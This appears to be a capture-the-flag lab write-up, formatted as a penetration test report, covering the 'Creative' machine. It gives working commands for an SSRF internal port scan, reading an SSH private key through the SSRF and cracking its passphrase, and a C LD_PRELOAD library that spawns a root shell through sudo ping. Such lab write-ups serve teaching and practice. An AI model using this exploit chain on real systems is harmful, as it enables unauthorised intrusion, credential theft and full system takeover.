Creative
1. Executive Summary
This report details a penetration testing engagement against the target machine at 10.10.160.145
, which resolves to the domain creative.thm
. The assessment uncovered a critical Server-Side Request Forgery (SSRF) vulnerability, which was leveraged to gain access to internal services and ultimately obtain root-level access to the system.
The engagement followed these key phases:
- Reconnaissance: Initial port scanning and service identification.
- Vulnerability Discovery: Identification of an SSRF vulnerability on a subdomain.
- Exploitation: Leveraging the SSRF to scan internal ports and access a hidden service.
- Credential Harvesting: Retrieving user credentials and an SSH private key.
- Privilege Escalation: Exploiting a misconfigured
sudo
rule andLD_PRELOAD
to gain root access.
2. Methodology
This assessment followed a standard penetration testing methodology, including reconnaissance, vulnerability analysis, exploitation, and privilege escalation. The following tools were used:
- Nmap: Port scanning and service version detection.
- Wfuzz: Web application fuzzing and subdomain discovery.
- FFUF: Fast web fuzzer used for SSRF-based port scanning.
- SSRFmap: Automated SSRF exploitation tool (used as an alternative).
- Burp Suite: Web proxy for request interception and analysis (recommended for manual testing).
- ssh2john: Converts SSH private keys into a format crackable by John the Ripper.
- John the Ripper: Password cracking tool.
- GCC: GNU Compiler Collection for compiling a malicious shared library.
3. Reconnaissance
3.1 Initial Port Scan
An initial Nmap scan was conducted to identify open ports and services:
export TARGET_MACHINE=10.10.160.145
nmap -p- --min-rate 5000 $TARGET_MACHINE
Results:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
The scan revealed two open ports: SSH (22) and HTTP (80). A large number of filtered ports (65,533) were also reported. This could indicate a firewall, but it's also a potential indicator of services running on non-standard ports or behind a web application firewall (WAF). This warrants further investigation during the exploitation phase.
3.2 Website and DNS Enumeration
Accessing http://10.10.160.145
in a web browser redirected to http://creative.thm
. This indicates a virtual host configuration. To ensure proper routing, the following entry was added to the /etc/hosts
file:
sudo nano /etc/hosts
# Add the following line:
10.10.160.145 creative.thm
3.3 Subdomain Enumeration
Subdomain enumeration was performed using wfuzz
to identify potential hidden web applications:
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hh 178 -H "Host: FUZZ.creative.thm" -u http://creative.thm:80/ -t 100 -o wfuzz_subdomains.txt
Results:
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000033: 200 19 L 66 W 591 Ch "beta"
A subdomain beta.creative.thm
was discovered. This was also added to the /etc/hosts
file:
sudo nano /etc/hosts
# Add the following line:
10.10.160.145 creative.thm beta.creative.thm
4. Vulnerability Analysis and Exploitation: SSRF
4.1 Identifying the SSRF Vulnerability
The beta.creative.thm
subdomain presented a "Beta URL Tester" page, which allowed users to submit a URL for testing. This functionality immediately raised suspicion for a potential Server-Side Request Forgery (SSRF) vulnerability. SSRF occurs when an attacker can control the URL that the server-side application makes a request to.
4.2 SSRF Types and Testing Strategy
There are several types of SSRF:
- Standard SSRF: The server's response directly reflects the result of the attacker-controlled request.
- Blind SSRF: The server doesn't directly return the response, but the attacker can infer success or failure (e.g., through timing or error messages).
- Time-Based Blind SSRF: A type of blind SSRF where the attacker measures response times to infer information.
- Cross-Site Port Attack (XSPA): A particular SSRF exploitation used to perform a Port Scan.
Given the large number of filtered ports in the initial Nmap scan, the testing strategy focused on attempting an internal port scan via SSRF (XSPA).
4.3 Automated Port Scanning with FFUF
FFUF
was used to automate the process of testing for open internal ports:
seq 65535 > ports.txt # Create a file containing all port numbers
ffuf -w ports.txt -u http://beta.creative.thm/ -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://127.0.0.1:FUZZ" -fs 13 -o ffuf_ssrf_scan.txt
Results:
FFUF identified port 1337 as likely open, as it produced a different response size:
1337 [Status: 200, Size: 1143, Words: 40, Lines: 39, Duration: 529ms]
4.4 SSRFmap (Alternative Approach)
While FFUF worked, SSRFmap
is a tool specifically designed for SSRF exploitation and is generally preferred:
# Capture a legitimate POST request to the URL tester using Burp Suite or your browser's developer tools.
# Save the raw request to a file (e.g., request.txt).
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
pip install -r requirements.txt
python3 ssrfmap.py -r request.txt -p url -m portscan -o ssrfmap_results.txt
SSRFmap Results (consistent with FFUF):
SSRFmap also identified port 1337 as open.
4.5 Accessing the Internal Service
By submitting http://127.0.0.1:1337
to the URL tester, a directory listing was revealed, confirming the SSRF vulnerability and access to an internal web server.
5. Data Exfiltration and Credential Harvesting
5.1 Identifying User Directories
Browsing to http://127.0.0.1:1337/home
(via the SSRF) revealed a user directory named saad
.
5.2 Retrieving User Flag and SSH Key
The following files were accessible through the SSRF:
http://127.0.0.1:1337/home/saad/user.txt
: Contained the user flag.http://127.0.0.1:1337/home/saad/.ssh/id_rsa
: Contained the user's SSH private key. This was downloaded and saved locally asid_rsa_saad
.
6. Gaining Shell Access
6.1 SSH Key Permissions and Cracking
The downloaded SSH key was given appropriate permissions:
chmod 600 id_rsa_saad
Attempting to use the key directly required a passphrase:
ssh -i id_rsa_saad saad@$TARGET_MACHINE
The key was converted to a John the Ripper-compatible hash and cracked:
ssh2john id_rsa_saad > id_rsa_saad.hash
john id_rsa_saad.hash --wordlist=/usr/share/wordlists/rockyou.txt -o cracked_ssh.txt
# The passphrase was cracked as "sweetness".
6.2 Initial Shell Access
Successful SSH login was achieved using the cracked passphrase:
ssh -i id_rsa_saad saad@$TARGET_MACHINE # Enter "sweetness" when prompted.
7. Privilege Escalation
7.1 Identifying Sudo Permissions
The sudo -l
command was used to list the commands that the saad
user could run with elevated privileges:
less .bash_history # Discovered password: MyStrongestPasswordYet$4291
sudo -l # Entered the discovered password
# Output:
Matching Defaults entries for saad on m4lware:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User saad may run the following commands on m4lware:
(root) /usr/bin/ping
7.2 Exploiting LD_PRELOAD
The sudo -l
output showed that saad
could run /usr/bin/ping
as root, and that the LD_PRELOAD
environment variable was preserved. This is a classic privilege escalation vulnerability.
LD_PRELOAD
allows a user to specify a shared library that will be loaded before any other libraries. By creating a malicious shared library that overrides a function called by ping
, we can execute arbitrary code as root.
7.3 Creating the Malicious Shared Library
A C source file (/tmp/shell.c
) was created with the following content:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD"); // Prevent recursion
setgid(0); // Set group ID to root (0)
setuid(0); // Set user ID to root (0)
system("/bin/sh"); // Execute a shell
}
7.4 Compiling and Executing
The C code was compiled into a shared library:
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
Finally, ping
was executed with sudo
and LD_PRELOAD
set to our malicious library:
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/ping
# A root shell is obtained.
id # Confirms root access: uid=0(root) gid=0(root) groups=0(root)